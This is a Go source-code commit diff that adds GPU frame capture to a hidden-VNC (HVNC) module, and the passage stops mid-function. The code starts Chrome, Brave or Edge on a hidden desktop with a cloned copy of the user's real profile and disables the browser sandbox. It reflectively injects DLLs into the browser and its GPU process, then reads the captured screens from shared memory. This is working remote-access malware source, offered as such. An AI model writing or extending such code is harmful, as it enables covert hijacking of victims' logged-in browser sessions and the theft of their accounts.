GPU HVNC capturing
This commit is contained in:
@@ -0,0 +1,318 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"log"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// hvncFrameHeader mirrors the C HVNCFrameHeader struct.
|
||||
// must be kept in sync with HVNCCapture/src/DXGICapture.h.
|
||||
type hvncFrameHeader struct {
|
||||
Magic uint32
|
||||
Version uint32
|
||||
Width uint32
|
||||
Height uint32
|
||||
Stride uint32
|
||||
Format uint32
|
||||
FrameSeq uint64
|
||||
TimestampNs uint64
|
||||
PID uint32
|
||||
Reserved uint32
|
||||
}
|
||||
|
||||
const (
|
||||
hvncFrameMagic = 0x434E5648 // 'HVNC'
|
||||
hvncFrameVersion = 1
|
||||
hvncFrameHeaderSize = 48 // sizeof(HVNCFrameHeader)
|
||||
hvncShmPrefix = `Local\hvnc_frame_`
|
||||
hvncEventPrefix = `Local\hvnc_evt_`
|
||||
)
|
||||
|
||||
var (
|
||||
procOpenFileMappingW = kernel32.NewProc("OpenFileMappingW")
|
||||
procOpenEventW = kernel32.NewProc("OpenEventW")
|
||||
)
|
||||
|
||||
const (
|
||||
FILE_MAP_READ = 0x0004
|
||||
EVENT_ALL_ACCESS = 0x1F0003
|
||||
SYNCHRONIZE = 0x00100000
|
||||
)
|
||||
|
||||
type hvncFrameReader struct {
|
||||
pid uint32
|
||||
shmHandle uintptr
|
||||
shmView unsafe.Pointer
|
||||
shmSize uintptr
|
||||
evtHandle uintptr
|
||||
lastSeq uint64
|
||||
staleCount int
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
var (
|
||||
hvncFrameReaders = make(map[uint32]*hvncFrameReader)
|
||||
hvncFrameReadersMu sync.Mutex
|
||||
|
||||
hvncGPUPIDMap = make(map[uint32]uint32)
|
||||
)
|
||||
|
||||
func hvncRegisterGPUPID(browserPID, gpuPID uint32) {
|
||||
hvncFrameReadersMu.Lock()
|
||||
hvncGPUPIDMap[browserPID] = gpuPID
|
||||
hvncFrameReadersMu.Unlock()
|
||||
log.Printf("hvnc dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
|
||||
}
|
||||
|
||||
func hvncGetFrameReader(pid uint32) *hvncFrameReader {
|
||||
hvncFrameReadersMu.Lock()
|
||||
defer hvncFrameReadersMu.Unlock()
|
||||
|
||||
if r, ok := hvncFrameReaders[pid]; ok {
|
||||
if r.staleCount > 300 {
|
||||
log.Printf("hvnc dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
|
||||
r.close()
|
||||
delete(hvncFrameReaders, pid)
|
||||
} else {
|
||||
return r
|
||||
}
|
||||
}
|
||||
|
||||
shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncShmPrefix, pid))
|
||||
shmHandle, _, _ := procOpenFileMappingW.Call(
|
||||
FILE_MAP_READ,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(shmName)),
|
||||
)
|
||||
if shmHandle == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
view, _, _ := procMapViewOfFile.Call(
|
||||
shmHandle,
|
||||
FILE_MAP_READ,
|
||||
0, 0,
|
||||
hvncFrameHeaderSize,
|
||||
)
|
||||
if view == 0 {
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return nil
|
||||
}
|
||||
|
||||
hdr := (*hvncFrameHeader)(unsafe.Pointer(view))
|
||||
if hdr.Magic != hvncFrameMagic {
|
||||
procUnmapViewOfFile.Call(view)
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return nil
|
||||
}
|
||||
|
||||
fullSize := uintptr(hvncFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
|
||||
|
||||
procUnmapViewOfFile.Call(view)
|
||||
view = 0
|
||||
hdr = nil
|
||||
|
||||
fullView, _, _ := procMapViewOfFile.Call(
|
||||
shmHandle,
|
||||
FILE_MAP_READ,
|
||||
0, 0,
|
||||
fullSize,
|
||||
)
|
||||
if fullView == 0 {
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return nil
|
||||
}
|
||||
|
||||
hdr2 := (*hvncFrameHeader)(unsafe.Pointer(fullView))
|
||||
|
||||
evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncEventPrefix, pid))
|
||||
evtHandle, _, _ := procOpenEventW.Call(
|
||||
SYNCHRONIZE,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(evtName)),
|
||||
)
|
||||
|
||||
r := &hvncFrameReader{
|
||||
pid: pid,
|
||||
shmHandle: shmHandle,
|
||||
shmView: unsafe.Pointer(fullView),
|
||||
shmSize: fullSize,
|
||||
evtHandle: evtHandle,
|
||||
}
|
||||
hvncFrameReaders[pid] = r
|
||||
|
||||
log.Printf("hvnc dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
|
||||
pid, hdr2.Width, hdr2.Height, fullSize)
|
||||
return r
|
||||
}
|
||||
|
||||
func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
if r.shmView == nil {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
hdr := (*hvncFrameHeader)(r.shmView)
|
||||
if hdr.Magic != hvncFrameMagic || hdr.Version != hvncFrameVersion {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
w = int(hdr.Width)
|
||||
h = int(hdr.Height)
|
||||
stride := int(hdr.Stride)
|
||||
|
||||
if w <= 0 || h <= 0 || w > 7680 || h > 4320 || stride <= 0 || stride > 7680*4 {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
dstStride := w * 4
|
||||
if stride < dstStride {
|
||||
return 0, 0, false // stride must be >= w*4
|
||||
}
|
||||
|
||||
needed := w * h * 4
|
||||
if len(dst) < needed {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
totalNeeded := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
|
||||
if totalNeeded > r.shmSize {
|
||||
r.remap(w, h, stride)
|
||||
if r.shmView == nil {
|
||||
return 0, 0, false
|
||||
}
|
||||
hdr = (*hvncFrameHeader)(r.shmView)
|
||||
if hdr.Magic != hvncFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
|
||||
return 0, 0, false
|
||||
}
|
||||
}
|
||||
|
||||
pixelData := unsafe.Add(r.shmView, hvncFrameHeaderSize)
|
||||
srcSize := stride * h
|
||||
src := unsafe.Slice((*byte)(pixelData), srcSize)
|
||||
|
||||
for y := 0; y < h; y++ {
|
||||
srcOff := y * stride
|
||||
dstOff := y * dstStride
|
||||
copy(dst[dstOff:dstOff+dstStride], src[srcOff:srcOff+dstStride])
|
||||
}
|
||||
|
||||
seq := hdr.FrameSeq
|
||||
if seq != r.lastSeq {
|
||||
r.lastSeq = seq
|
||||
r.staleCount = 0
|
||||
} else {
|
||||
r.staleCount++
|
||||
}
|
||||
|
||||
return w, h, true
|
||||
}
|
||||
|
||||
func (r *hvncFrameReader) remap(w, h, stride int) {
|
||||
if r.shmView != nil {
|
||||
procUnmapViewOfFile.Call(uintptr(r.shmView))
|
||||
r.shmView = nil
|
||||
}
|
||||
|
||||
newSize := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
|
||||
view, _, _ := procMapViewOfFile.Call(
|
||||
r.shmHandle,
|
||||
FILE_MAP_READ,
|
||||
0, 0,
|
||||
newSize,
|
||||
)
|
||||
if view == 0 {
|
||||
return
|
||||
}
|
||||
r.shmView = unsafe.Pointer(view)
|
||||
r.shmSize = newSize
|
||||
}
|
||||
|
||||
func (r *hvncFrameReader) close() {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
if r.shmView != nil {
|
||||
procUnmapViewOfFile.Call(uintptr(r.shmView))
|
||||
r.shmView = nil
|
||||
}
|
||||
if r.shmHandle != 0 {
|
||||
procCloseHandle.Call(r.shmHandle)
|
||||
r.shmHandle = 0
|
||||
}
|
||||
if r.evtHandle != 0 {
|
||||
procCloseHandle.Call(r.evtHandle)
|
||||
r.evtHandle = 0
|
||||
}
|
||||
}
|
||||
|
||||
func hvncCleanupFrameReaders() {
|
||||
hvncFrameReadersMu.Lock()
|
||||
defer hvncFrameReadersMu.Unlock()
|
||||
|
||||
for pid, r := range hvncFrameReaders {
|
||||
r.close()
|
||||
delete(hvncFrameReaders, pid)
|
||||
}
|
||||
for k := range hvncGPUPIDMap {
|
||||
delete(hvncGPUPIDMap, k)
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
hvncInjectedPIDs = make(map[uint32]time.Time)
|
||||
hvncInjectedPIDsMu sync.Mutex
|
||||
)
|
||||
|
||||
func hvncRegisterInjectedPID(pid uint32) {
|
||||
hvncInjectedPIDsMu.Lock()
|
||||
hvncInjectedPIDs[pid] = time.Now()
|
||||
hvncInjectedPIDsMu.Unlock()
|
||||
}
|
||||
|
||||
func hvncGetInjectedPIDs() []uint32 {
|
||||
hvncInjectedPIDsMu.Lock()
|
||||
defer hvncInjectedPIDsMu.Unlock()
|
||||
pids := make([]uint32, 0, len(hvncInjectedPIDs))
|
||||
for pid := range hvncInjectedPIDs {
|
||||
pids = append(pids, pid)
|
||||
}
|
||||
return pids
|
||||
}
|
||||
|
||||
func hvncUnregisterInjectedPID(pid uint32) {
|
||||
hvncInjectedPIDsMu.Lock()
|
||||
delete(hvncInjectedPIDs, pid)
|
||||
hvncInjectedPIDsMu.Unlock()
|
||||
}
|
||||
|
||||
func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) {
|
||||
if len(data) < hvncFrameHeaderSize {
|
||||
return nil, false
|
||||
}
|
||||
hdr := &hvncFrameHeader{
|
||||
Magic: binary.LittleEndian.Uint32(data[0:4]),
|
||||
Version: binary.LittleEndian.Uint32(data[4:8]),
|
||||
Width: binary.LittleEndian.Uint32(data[8:12]),
|
||||
Height: binary.LittleEndian.Uint32(data[12:16]),
|
||||
Stride: binary.LittleEndian.Uint32(data[16:20]),
|
||||
Format: binary.LittleEndian.Uint32(data[20:24]),
|
||||
FrameSeq: binary.LittleEndian.Uint64(data[24:32]),
|
||||
TimestampNs: binary.LittleEndian.Uint64(data[32:40]),
|
||||
PID: binary.LittleEndian.Uint32(data[40:44]),
|
||||
Reserved: binary.LittleEndian.Uint32(data[44:48]),
|
||||
}
|
||||
if hdr.Magic != hvncFrameMagic {
|
||||
return nil, false
|
||||
}
|
||||
return hdr, true
|
||||
}
|
||||
@@ -4,16 +4,16 @@ package capture
|
||||
|
||||
import "errors"
|
||||
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
}
|
||||
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
}
|
||||
|
||||
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
||||
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
}
|
||||
|
||||
@@ -99,7 +99,7 @@ func enableDebugPrivilege() {
|
||||
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
|
||||
// injects the reflective DLL, then resumes it.
|
||||
// searchPath/replacePath are passed as environment variables for the DLL hooks.
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
|
||||
if filePath == "" {
|
||||
return fmt.Errorf("empty file path")
|
||||
}
|
||||
@@ -108,11 +108,12 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
|
||||
}
|
||||
|
||||
result, err := executeHVNCTask(hvncTask{
|
||||
kind: hvncTaskStartProcessInjected,
|
||||
filePath: filePath,
|
||||
dllBytes: dllBytes,
|
||||
searchPath: searchPath,
|
||||
replacePath: replacePath,
|
||||
kind: hvncTaskStartProcessInjected,
|
||||
filePath: filePath,
|
||||
dllBytes: dllBytes,
|
||||
captureDllBytes: captureDllBytes,
|
||||
searchPath: searchPath,
|
||||
replacePath: replacePath,
|
||||
}, 30*time.Second)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -124,7 +125,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
|
||||
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
|
||||
// If clone is false, it starts the browser with injection but no path redirection.
|
||||
// browser should be one of: "chrome", "brave", "edge".
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
|
||||
info, ok := browserInfoMap[strings.ToLower(browser)]
|
||||
if !ok {
|
||||
return fmt.Errorf("unknown browser %q", browser)
|
||||
@@ -151,7 +152,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
|
||||
if !clone {
|
||||
log.Printf("hvnc %s: starting without profile cloning", info.name)
|
||||
return StartHVNCProcessInjected(exePath, dllBytes, "", "")
|
||||
return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
|
||||
}
|
||||
|
||||
realUserData := getBrowserUserDataDir(info)
|
||||
@@ -188,12 +189,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
}
|
||||
}
|
||||
|
||||
return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir)
|
||||
return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
|
||||
}
|
||||
|
||||
// StartHVNCChromeInjected is kept for backward compatibility.
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
|
||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, true, nil)
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil)
|
||||
}
|
||||
|
||||
type browserInfo struct {
|
||||
@@ -660,7 +661,7 @@ func calcDirSize(dir string) int64 {
|
||||
return total
|
||||
}
|
||||
|
||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error {
|
||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
|
||||
if filePath == "" {
|
||||
return fmt.Errorf("empty file path")
|
||||
}
|
||||
@@ -712,9 +713,161 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPa
|
||||
procCloseHandle.Call(hThread)
|
||||
|
||||
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
|
||||
|
||||
if len(captureDllBytes) > 0 {
|
||||
go hvncDeferredGPUInject(pid, captureDllBytes)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
|
||||
time.Sleep(4 * time.Second)
|
||||
|
||||
for attempt := 0; attempt < 15; attempt++ {
|
||||
gpuPID, err := findGPUChildProcess(browserPID)
|
||||
if err != nil {
|
||||
log.Printf("hvnc inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
|
||||
time.Sleep(2 * time.Second)
|
||||
continue
|
||||
}
|
||||
|
||||
log.Printf("hvnc inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
|
||||
|
||||
hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID))
|
||||
if hProcess == 0 {
|
||||
log.Printf("hvnc inject: failed to open GPU process PID %d", gpuPID)
|
||||
return
|
||||
}
|
||||
|
||||
if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
|
||||
log.Printf("hvnc inject: HVNCCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
|
||||
procCloseHandle.Call(hProcess)
|
||||
return
|
||||
}
|
||||
procCloseHandle.Call(hProcess)
|
||||
|
||||
log.Printf("hvnc inject: HVNCCapture DLL injected into GPU PID %d", gpuPID)
|
||||
hvncRegisterInjectedPID(gpuPID)
|
||||
hvncRegisterGPUPID(browserPID, gpuPID)
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("hvnc inject: gave up finding GPU child for browser PID %d", browserPID)
|
||||
}
|
||||
|
||||
func findGPUChildProcess(parentPID uint32) (uint32, error) {
|
||||
children := findChildPIDs(parentPID)
|
||||
if len(children) == 0 {
|
||||
return 0, fmt.Errorf("no child processes")
|
||||
}
|
||||
|
||||
for _, childPID := range children {
|
||||
if hasLoadedModule(childPID, "d3d11.dll") {
|
||||
return childPID, nil
|
||||
}
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("none of %d children have d3d11.dll", len(children))
|
||||
}
|
||||
|
||||
type processEntry32W struct {
|
||||
Size uint32
|
||||
CntUsage uint32
|
||||
ProcessID uint32
|
||||
DefaultHeapID uintptr
|
||||
ModuleID uint32
|
||||
CntThreads uint32
|
||||
ParentProcessID uint32
|
||||
PriClassBase int32
|
||||
Flags uint32
|
||||
ExeFile [260]uint16
|
||||
}
|
||||
|
||||
type moduleEntry32W struct {
|
||||
Size uint32
|
||||
ModuleID uint32
|
||||
ProcessID uint32
|
||||
GlblcntUsage uint32
|
||||
ProccntUsage uint32
|
||||
ModBaseAddr uintptr
|
||||
ModBaseSize uint32
|
||||
HModule uintptr
|
||||
SzModule [256]uint16
|
||||
SzExePath [260]uint16
|
||||
}
|
||||
|
||||
var (
|
||||
procCreateToolhelp32Snapshot = kernel32.NewProc("CreateToolhelp32Snapshot")
|
||||
procProcess32FirstW = kernel32.NewProc("Process32FirstW")
|
||||
procProcess32NextW = kernel32.NewProc("Process32NextW")
|
||||
procModule32FirstW = kernel32.NewProc("Module32FirstW")
|
||||
procModule32NextW = kernel32.NewProc("Module32NextW")
|
||||
)
|
||||
|
||||
const (
|
||||
TH32CS_SNAPPROCESS = 0x00000002
|
||||
TH32CS_SNAPMODULE = 0x00000008
|
||||
TH32CS_SNAPMODULE32 = 0x00000010
|
||||
)
|
||||
|
||||
func findChildPIDs(parentPID uint32) []uint32 {
|
||||
snap, _, _ := procCreateToolhelp32Snapshot.Call(TH32CS_SNAPPROCESS, 0)
|
||||
if snap == 0 || snap == ^uintptr(0) {
|
||||
return nil
|
||||
}
|
||||
defer procCloseHandle.Call(snap)
|
||||
|
||||
var entry processEntry32W
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
ret, _, _ := procProcess32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry)))
|
||||
if ret == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
var children []uint32
|
||||
for {
|
||||
if entry.ParentProcessID == parentPID && entry.ProcessID != parentPID {
|
||||
children = append(children, entry.ProcessID)
|
||||
}
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
ret, _, _ = procProcess32NextW.Call(snap, uintptr(unsafe.Pointer(&entry)))
|
||||
if ret == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return children
|
||||
}
|
||||
|
||||
func hasLoadedModule(pid uint32, moduleName string) bool {
|
||||
snap, _, _ := procCreateToolhelp32Snapshot.Call(TH32CS_SNAPMODULE|TH32CS_SNAPMODULE32, uintptr(pid))
|
||||
if snap == 0 || snap == ^uintptr(0) {
|
||||
return false
|
||||
}
|
||||
defer procCloseHandle.Call(snap)
|
||||
|
||||
var entry moduleEntry32W
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
ret, _, _ := procModule32FirstW.Call(snap, uintptr(unsafe.Pointer(&entry)))
|
||||
if ret == 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
target := strings.ToLower(moduleName)
|
||||
for {
|
||||
name := strings.ToLower(syscall.UTF16ToString(entry.SzModule[:]))
|
||||
if name == target {
|
||||
return true
|
||||
}
|
||||
entry.Size = uint32(unsafe.Sizeof(entry))
|
||||
ret, _, _ = procModule32NextW.Call(snap, uintptr(unsafe.Pointer(&entry)))
|
||||
if ret == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func terminateProcess(hProcess uintptr) {
|
||||
kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
|
||||
}
|
||||
@@ -771,7 +924,7 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
|
||||
}
|
||||
baseName := strings.ToLower(filepath.Base(filePath))
|
||||
if browserExes[baseName] {
|
||||
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu"
|
||||
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu-sandbox"
|
||||
} else if baseName == "firefox.exe" {
|
||||
args += " -no-remote -wait-for-browser"
|
||||
}
|
||||
|
||||
@@ -15,6 +15,10 @@ func CleanupHVNCDesktop() {}
|
||||
|
||||
func SetHVNCCursorCapture(enabled bool) {}
|
||||
|
||||
func SetHVNCDXGIEnabled(enabled bool) {}
|
||||
|
||||
func GetHVNCDXGIEnabled() bool { return false }
|
||||
|
||||
func hvncCaptureDisplay(display int) (*image.RGBA, error) {
|
||||
return nil, errors.New("HVNC not supported on this platform")
|
||||
}
|
||||
|
||||
@@ -203,20 +203,21 @@ const (
|
||||
)
|
||||
|
||||
type hvncTask struct {
|
||||
kind hvncTaskKind
|
||||
id uint64
|
||||
display int
|
||||
filePath string
|
||||
x int32
|
||||
y int32
|
||||
button int
|
||||
vk uint16
|
||||
delta int32
|
||||
dllBytes []byte
|
||||
searchPath string
|
||||
replacePath string
|
||||
queuedAt time.Time
|
||||
resp chan hvncTaskResult
|
||||
kind hvncTaskKind
|
||||
id uint64
|
||||
display int
|
||||
filePath string
|
||||
x int32
|
||||
y int32
|
||||
button int
|
||||
vk uint16
|
||||
delta int32
|
||||
dllBytes []byte
|
||||
captureDllBytes []byte
|
||||
searchPath string
|
||||
replacePath string
|
||||
queuedAt time.Time
|
||||
resp chan hvncTaskResult
|
||||
}
|
||||
|
||||
type hvncTaskResult struct {
|
||||
@@ -360,6 +361,10 @@ func CleanupHVNCDesktop() {
|
||||
hvncDesktopMu.Lock()
|
||||
defer hvncDesktopMu.Unlock()
|
||||
|
||||
hvncCleanupFrameReaders()
|
||||
|
||||
hvncFreeCapCache()
|
||||
|
||||
for _, entry := range hvncWinCache {
|
||||
hvncFreeCacheEntry(entry)
|
||||
}
|
||||
@@ -475,7 +480,7 @@ func ensureHVNCThread() error {
|
||||
case hvncTaskStartProcess:
|
||||
result.err = startHVNCProcessOnThread(task.filePath)
|
||||
case hvncTaskStartProcessInjected:
|
||||
result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath)
|
||||
result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
|
||||
case hvncTaskMouseMove:
|
||||
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
|
||||
case hvncTaskMouseDown:
|
||||
@@ -710,6 +715,82 @@ func hvncTaskDetails(task hvncTask) string {
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
hvncCapHDCScreen uintptr
|
||||
hvncCapHDCMem uintptr
|
||||
hvncCapHBMP uintptr
|
||||
hvncCapBits unsafe.Pointer
|
||||
hvncCapW int
|
||||
hvncCapH int
|
||||
hvncCapImg *image.RGBA
|
||||
)
|
||||
|
||||
func hvncFreeCapCache() {
|
||||
if hvncCapHBMP != 0 {
|
||||
deleteObject(hvncCapHBMP)
|
||||
hvncCapHBMP = 0
|
||||
}
|
||||
if hvncCapHDCMem != 0 {
|
||||
deleteDC(hvncCapHDCMem)
|
||||
hvncCapHDCMem = 0
|
||||
}
|
||||
if hvncCapHDCScreen != 0 {
|
||||
releaseDC(0, hvncCapHDCScreen)
|
||||
hvncCapHDCScreen = 0
|
||||
}
|
||||
hvncCapBits = nil
|
||||
hvncCapW = 0
|
||||
hvncCapH = 0
|
||||
hvncCapImg = nil
|
||||
}
|
||||
|
||||
func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
|
||||
if hvncCapHDCScreen == 0 {
|
||||
hvncCapHDCScreen = getDC(0)
|
||||
if hvncCapHDCScreen == 0 {
|
||||
return 0, 0, nil, false
|
||||
}
|
||||
}
|
||||
if hvncCapHDCMem != 0 && hvncCapW == w && hvncCapH == h && hvncCapBits != nil {
|
||||
buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4)
|
||||
return hvncCapHDCScreen, hvncCapHDCMem, buf, true
|
||||
}
|
||||
if hvncCapHBMP != 0 {
|
||||
deleteObject(hvncCapHBMP)
|
||||
hvncCapHBMP = 0
|
||||
}
|
||||
if hvncCapHDCMem != 0 {
|
||||
deleteDC(hvncCapHDCMem)
|
||||
hvncCapHDCMem = 0
|
||||
}
|
||||
hvncCapHDCMem = createCompatibleDC(hvncCapHDCScreen)
|
||||
if hvncCapHDCMem == 0 {
|
||||
return 0, 0, nil, false
|
||||
}
|
||||
bmi := bitmapInfo{
|
||||
bmiHeader: bitmapInfoHeader{
|
||||
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
|
||||
biWidth: int32(w),
|
||||
biHeight: -int32(h),
|
||||
biPlanes: 1,
|
||||
biBitCount: 32,
|
||||
biCompression: BI_RGB,
|
||||
},
|
||||
}
|
||||
hvncCapHBMP = createDIBSection(hvncCapHDCMem, &bmi, DIB_RGB_COLORS, &hvncCapBits)
|
||||
if hvncCapHBMP == 0 || hvncCapBits == nil {
|
||||
deleteDC(hvncCapHDCMem)
|
||||
hvncCapHDCMem = 0
|
||||
return 0, 0, nil, false
|
||||
}
|
||||
selectObject(hvncCapHDCMem, hvncCapHBMP)
|
||||
hvncCapW = w
|
||||
hvncCapH = h
|
||||
hvncCapImg = nil
|
||||
buf := unsafe.Slice((*byte)(hvncCapBits), w*h*4)
|
||||
return hvncCapHDCScreen, hvncCapHDCMem, buf, true
|
||||
}
|
||||
|
||||
func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
||||
captureMu.Lock()
|
||||
defer captureMu.Unlock()
|
||||
@@ -748,36 +829,11 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
||||
capW := srcW
|
||||
capH := srcH
|
||||
|
||||
hdcScreen := getDC(0)
|
||||
if hdcScreen == 0 {
|
||||
hdcScreen, hdcMem, buf, ok := hvncEnsureCapCache(capW, capH)
|
||||
if !ok {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
defer releaseDC(0, hdcScreen)
|
||||
|
||||
hdcMem := createCompatibleDC(hdcScreen)
|
||||
if hdcMem == 0 {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
defer deleteDC(hdcMem)
|
||||
|
||||
bmi := bitmapInfo{
|
||||
bmiHeader: bitmapInfoHeader{
|
||||
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
|
||||
biWidth: int32(capW),
|
||||
biHeight: -int32(capH),
|
||||
biPlanes: 1,
|
||||
biBitCount: 32,
|
||||
biCompression: BI_RGB,
|
||||
},
|
||||
}
|
||||
var bits unsafe.Pointer
|
||||
hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
|
||||
if hbmp == 0 || bits == nil {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
selectObject(hdcMem, hbmp)
|
||||
|
||||
buf := unsafe.Slice((*byte)(bits), capW*capH*4)
|
||||
for i := range buf {
|
||||
buf[i] = 0
|
||||
}
|
||||
@@ -792,14 +848,15 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
||||
}
|
||||
|
||||
swapRB(buf)
|
||||
img := image.NewRGBA(image.Rect(0, 0, capW, capH))
|
||||
|
||||
img := hvncCapImg
|
||||
if img == nil || img.Bounds().Dx() != capW || img.Bounds().Dy() != capH {
|
||||
img = image.NewRGBA(image.Rect(0, 0, capW, capH))
|
||||
hvncCapImg = img
|
||||
}
|
||||
copy(img.Pix, buf)
|
||||
|
||||
deleteObject(hbmp)
|
||||
|
||||
if hvncCursorEnabled {
|
||||
DrawCursorOnImage(img, bounds)
|
||||
}
|
||||
_ = hdcMem
|
||||
|
||||
if dstW != capW || dstH != capH {
|
||||
img = resizeNearest(img, dstW, dstH)
|
||||
@@ -1571,6 +1628,95 @@ func hvncFreeCacheEntry(entry *hvncWinCacheEntry) {
|
||||
}
|
||||
}
|
||||
|
||||
var dxgiFrameBuf []byte
|
||||
|
||||
var hvncDXGIEnabled atomic.Bool
|
||||
|
||||
func init() {
|
||||
hvncDXGIEnabled.Store(true) // enabled by default
|
||||
}
|
||||
|
||||
func SetHVNCDXGIEnabled(enabled bool) {
|
||||
hvncDXGIEnabled.Store(enabled)
|
||||
}
|
||||
|
||||
func GetHVNCDXGIEnabled() bool {
|
||||
